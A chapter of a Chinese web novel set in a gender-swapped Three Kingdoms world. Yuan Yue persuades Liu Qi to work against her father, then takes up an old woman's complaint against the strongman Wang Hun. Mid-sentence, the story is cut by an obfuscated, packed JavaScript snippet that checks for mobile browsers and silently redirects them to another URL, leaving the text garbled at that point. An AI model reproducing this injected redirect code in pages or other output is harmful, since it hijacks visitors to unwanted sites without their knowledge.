对着怒气冲冲的刘琦露出了一和善可亲的表情。 “不如,让你的这些侍卫稍作歇息,你我二人进屋细细交谈?” 刘琦看着袁悦,胸口剧烈地起伏着,刚想发作,可话到嘴边,却又莫名其妙地软了下来。 眼前这个其貌不扬的野丫头,身上似乎有种奇怪的亲和力,让她本能地不想把关系闹得太僵。 她又瞥了一眼旁边那个为了刚认识的人而与自己对峙的荀彧,心里一阵委屈,或许,或许听她掰扯几句,能让文若对自己的印象好转一些? 最终,她重重地哼了一声,算是默认了。她一挥手,对着身后的家丁护卫们命令道。 “你们,都在这儿等着!不许乱走!” 说完,她便提起裙摆,率先朝着屋里走去。 袁悦见状,暗自松了口气。 她转头,荀彧俏皮地眨了眨右眼,用口型无声地说了句“等我”。 12.庶子居然敢当家主 袁悦带着刘琦进入内室。 房门缓缓合上,隔绝了庭院里荀彧那关切的注视。 刘琦环抱双臂,下巴微抬,一身华贵的衣裙在略显朴素的房间里显得格格不入。 她寻了个椅子坐下,皱着眉看向还站着的袁悦。 “你不坐下,站着做什么?” 袁悦没有动,她只是平静地看着对方。 “汉室危亡,奸贼在外,你这个年纪,怎么还睡得着的?怎么还有心思在这里谈情说爱!” 刘琦当场就愣住了,她张了张嘴,一时间竟不知该如何反驳。 “我……” “国难当头,我等身为汉臣子女,更应该抛下儿女私情,为国分忧,为天下百姓铲除国贼,不是吗?” 袁悦步步紧逼,目光灼灼的盯着她。 刘琦被看的别扭极了,她扭过头,避开袁悦的视线。 “这些与我何干!哼!你少在这里给我转移话题,我告诉你,我……” “为什么与你无关?” 袁悦打断了她。 “就因为你是女子,所以家国天下便与你无关,只有谈情说爱才与你有关吗?” “我……” “你的追求就只有这些吗?你的眼界,就只看得到一个荀彧吗?” 袁悦的声音不高,却字字句句都敲在刘琦的心上。 “你看到你父母对你兄长寄予厚望,将他教导得温文尔雅,却放任你这般嚣张跋扈,你心里当真没有一点不舒服吗?” “我!” 刘琦猛地站了起来,胸口剧烈起伏,那张明艳的脸上满是被说中心事的慌乱。 袁悦看着她的反应,知道自己的话起了作用。 她放缓了攻势,向后退了一步,给自己也给对方留出一点空间。 “如果你现在觉得我说的都是废话,那你大可以转身就走,我懒得管你和荀彧那些破事。 但如果你觉得我说的有那么一点道理,咱们可以坐下来,继续聊聊。” 刘琦站在原地,紧紧地咬着下唇,没有动。 过了许久,她才像是泄了气一般,重新坐回椅子上。 “聊什么?” “聊什么都可以。” 袁悦轻笑一声,走到她旁边的位置坐下,给自己倒了杯茶。 “聊你的过去,聊你的梦想,聊你真正想做的事。” 刘琦没有作声。 袁悦也不催促,她端起茶杯,慢悠悠地开口? “你可知,我为何要一个人跑到这穷乡僻壤来当这个小小的县令?” 刘琦这才有了反应,好奇地看向她。 袁悦笑了笑。 “就是因为我不想让我做的一切为他人做嫁衣,想摆脱那些人强加给我的东西,我想让他们所有人都看看,他们男人能做到的事,我袁悦,只会做得更好。” 刘琦睁大了眼睛,她定定的看着袁悦,许久她垂下眼眸 “可,我还想要荀彧……” 她的声音很轻,带着一丝不甘。 “不是吧不是吧?” 袁悦惊讶地瞪大了眼睛。 “你不会真的想和荀彧一生一世一双人吧?他将来要是纳妾,要是收通房,你是忍气吞声当个贤妻,还是跟他和离?他左拥右抱是爽到了,你呢?你图什么?” 不等刘琦回答,袁悦便凑了过去。 “要我说,你就是权势不够。你想想,如果你是手握重兵的一方诸侯,荀彧他敢和现在一样拒绝你吗? 到时候,别说一个荀彧,你就是想找几十个跟他长得差不多的美男子,天天陪你饮酒作乐,又有谁敢管你?” 刘琦的呼吸一滞,她猛地抬起头,那双漂亮的杏眼里,有什么东西正在被点燃。 她想象了一下那个场景。 自己高坐于主位之上,左边是抚琴的荀彧,右边是舞剑的李彧,面前还有斟酌的王彧…… 这个念头一冒出来,就如同燎原的野火,再也无法熄灭。 她的眼睛一点一点地亮了起来,忍不住嘴角上扬。 “那……我需要做什么?” 成了! 袁悦在心里打了个响指,面上却是一副孺子可教的欣慰表情。 “嗯,你先回去,在你父亲面前多替我说说好话,探探他的口风。” 刘琦闻言,撇了撇嘴,刚刚燃起的雄心壮志瞬间被泼了半盆冷水。 “不是说要做大事吗!我回去能干什么呀!” “蠢。” 袁悦毫不客气地白了她一眼? “你也不看看现在什么形势,你爹是荆州牧,兵强马壮,我是个啥?光杆县令一个! 现在是敌强我弱,你当然得先回去当卧底,给我吹吹耳旁风,咱们里应外合,一步一步把他的势力给掏空,懂不懂?” 刘琦似懂非懂地点了点头,但很快又反应过来哪里不对。 “你不是要匡扶汉室吗?怎么变成掏空我爹了?” 袁悦的眼神飘忽了一瞬,随即又理直气壮地挺起胸膛。 “哎呀,这你就不懂了!你爹他坐拥荆州,却对国贼坐视不管,此等行径,与反贼何异? 我们把他打败了,收编他的兵马,不就是为了更好地匡扶汉室嘛!这叫曲线救国!之后,你就做这荆州牧,你爹退居二线这样不就行了?” “哦……”刘琦恍然大悟地点了点头。 好像,是这么个道理。 …… 房门吱呀一声被打开,袁悦与刘琦并肩走了出来。 庭院里,忧郁地等着的荀彧迎了上去。 “文若,已经没事啦!” 袁悦笑着拍了拍他的肩膀,一旁的刘琦看着荀彧,又是想美了。 发出一阵意义不明的嘿嘿嘿的笑声风风火火地带着她那群还在门口发愣的侍卫跑走了。 只留下一个满脸迷茫的荀彧,和站在他身边,脸上挂着高深莫测笑容的袁悦。 “主公,她…” 荀彧困惑的看向袁悦。 “没事,” 袁悦摆了摆手,脸上的笑容愈发灿烂。 “我只是帮她找到了人生的新方向而已。” 就在这时,府邸的大门再次被推开,贾诩和荀衍带着一个步履蹒跚满面泪痕的老妇人走来。 那老妇人一进院子,看到端坐主位的袁悦,便像是看到了救星,双腿一软就要跪下去。 “哎!使不得!” 袁悦眼疾手快,一个箭步冲上去,在老妇人膝盖着地前稳稳地扶住了她。 一旁的贾诩也立刻上前搭了把手。 “老人家,不用跪,有话慢慢说。” 袁悦将她扶到一旁的石凳上坐下。 “哎呦,我的苍天啊。呜呜呜…” 老妇人一坐下,便再也抑制不住,捂着脸嚎啕大哭起来。 袁悦抬头,用眼神询问地看向贾诩。 贾诩叹了口气,对着袁悦拱了拱手。 “这位老人家,在我与休若公子在街上跪了上来。” 他的言语简洁而清晰。 “她的女儿,被城中王家的那个恶少强抢回府,说是要纳为小妾。 她的儿子上前理论,却被王家的家丁活活打断了腿,现在还躺在家里,不知死活。我等见状,便将她带了回来,此事,还需主公定夺。” 袁悦的脸色沉了下来。 荀衍见状,立刻上前,拉着陪老妇人忧郁的弟弟荀彧,将哭得几乎要昏厥过去的老妇人扶到了一旁的偏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291487|198461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房里好生安置,将庭院留给了袁悦和贾诩。 “主公。” 贾诩的声音压得很低。 “我和休若公子已经大致摸清了这沅南县的情况。 此地由两大豪强把持,便是方才所说的王家,以及另一家陈家。 这两家在沅南盘踞多年,根深蒂固,我估算着,他们私下里豢养的部曲家兵,恐怕不在少数。我们手上虽有吕将军拨来的一队兵马,但若是贸然与他们对上,恐怕……” 他没有把话说完,但其中的意思已经不言而喻。 袁悦没有立刻回答,她站起身,望着偏房的方向。 她沉默了许久,才缓缓转过身,重新看向贾诩。 “按律当斩。” 贾诩愣了一瞬,立刻反应了过来。 “是。” 他对着袁悦一抱拳,转身便大步流星地走出了府邸。 …… 偏房的门被轻轻推开,袁悦放轻了脚步,走到那位还在不住抽泣的老妇人身边。 她没有多言,只是蹲下身,从怀里取出一块干净的手帕,轻轻擦拭着老妇人脸上的泪痕。 “老人家,带我去你家,让我看看你儿子的伤。” 她的举动带着一种不容置喙的安然,老妇人抽噎着,下意识地就听从了她的话。 几人到了老妇人家中,一进屋就是一股草药味。 老妇人局促的搓了搓手。袁悦却是不在意的进去。 一个面色苍白的青年正躺在简陋的床板上,一条腿用木板草草地固定着,肿得像发酵的面团。 他紧闭着双眼,额头上满是冷汗,嘴里不停的呻吟。 袁悦伸出手,在那条伤腿上轻轻按压了几下,又翻开青年的眼皮看了看。 “还好,不用担心,他的骨头没有完全错位,还能治” 她转头对老妇人说道。 “您去烧些热水,再找些干净的布条来。我先帮他把伤处清理一下。” 老妇人连连点头,抹着眼泪便出去了。 荀衍站在门口,看着袁悦熟练地解开固定的木板,检查伤口,神情复杂。 “主公,您还懂医术?” “略懂皮毛。” 袁悦头也不抬地回答。 “以前跟着家里的长辈学过一些。对了,休若公子,你去外面药铺,帮我抓几味药来……” 荀衍认真的点头,转身准备出门的时候,贾诩也来到了。 “主公,” 贾诩的脸色不太好看,他快步走到袁悦身边,压低了言语。 “王家闭门不出,我带着人被堵在了门外。那王家家主王浑,就站在门楼上,说,说县令的命令,在他王家里,不好使。” “哦?” 袁悦停下了手里的动作,她抬起头。 “他当真这么说?” “一字不差。”贾诩点头。 “这个王浑,我听闻是庶子出身,靠着些不光彩的手段才夺了家主之位。” 荀衍也在一旁补充道。 “此人行事乖张,心胸狭隘,在沅南的风评极差。” “庶子?” 袁悦的眼睛亮了。 “这可真是,太好了。” 荀衍和贾诩对视一眼,都在对方的脸上看到了同款的困惑。 这好在哪了? “走吧。” 袁悦站起身,拍了拍手。 “咱们去会会这位王家主。” “主公,不可!” 荀衍立刻出言阻止。 “王家部曲众多,你贸然前去,只怕危险!” “谁说我要跟他们打了?” 袁悦冲他眨了眨眼睛。 “我是去跟他们讲道理的。”